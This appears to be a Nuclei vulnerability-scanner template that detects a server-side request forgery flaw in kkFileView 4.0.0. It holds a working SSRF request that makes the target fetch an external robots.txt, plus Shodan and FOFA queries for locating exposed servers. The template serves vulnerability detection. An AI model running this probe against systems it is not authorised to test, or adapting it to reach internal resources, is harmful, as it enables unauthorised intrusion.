nuclei-templates/http/vulnerabilities/kkfileview-ssrf.yaml

37 lines
896 B
YAML

id: kkfileview-ssrf
info:
name: kkFileView 4.0.0 - Server-Side Request Forgery
author: Arm!tage
severity: high
description: |
kkFileView 4.0.0 is susceptible to server-side request forgery
reference:
- https://github.com/kekingcn/kkFileView/issues/296
classification:
cwe-id: CWE-918
cpe: cpe:2.3:a:keking:kkfileview:*:*:*:*:*:*:*:*
metadata:
max-request: 1
fofa-query: app="kkFileView"
shodan-query: http.html:"kkFileView"
verified: true
tags: ssrf,kkfileview
http:
- method: GET
path:
- "{{BaseURL}}/onlinePreview?url={{base64('http://oast.fun/robots.txt')}}"
extractors:
- type: regex
name: data
group: 1
regex:
- 'hidden id="textData" value="([A-Za-z0-9=]+)"\/>'
internal: true
matchers:
- type: dsl
dsl:
- contains(base64_decode(data), "Disallow")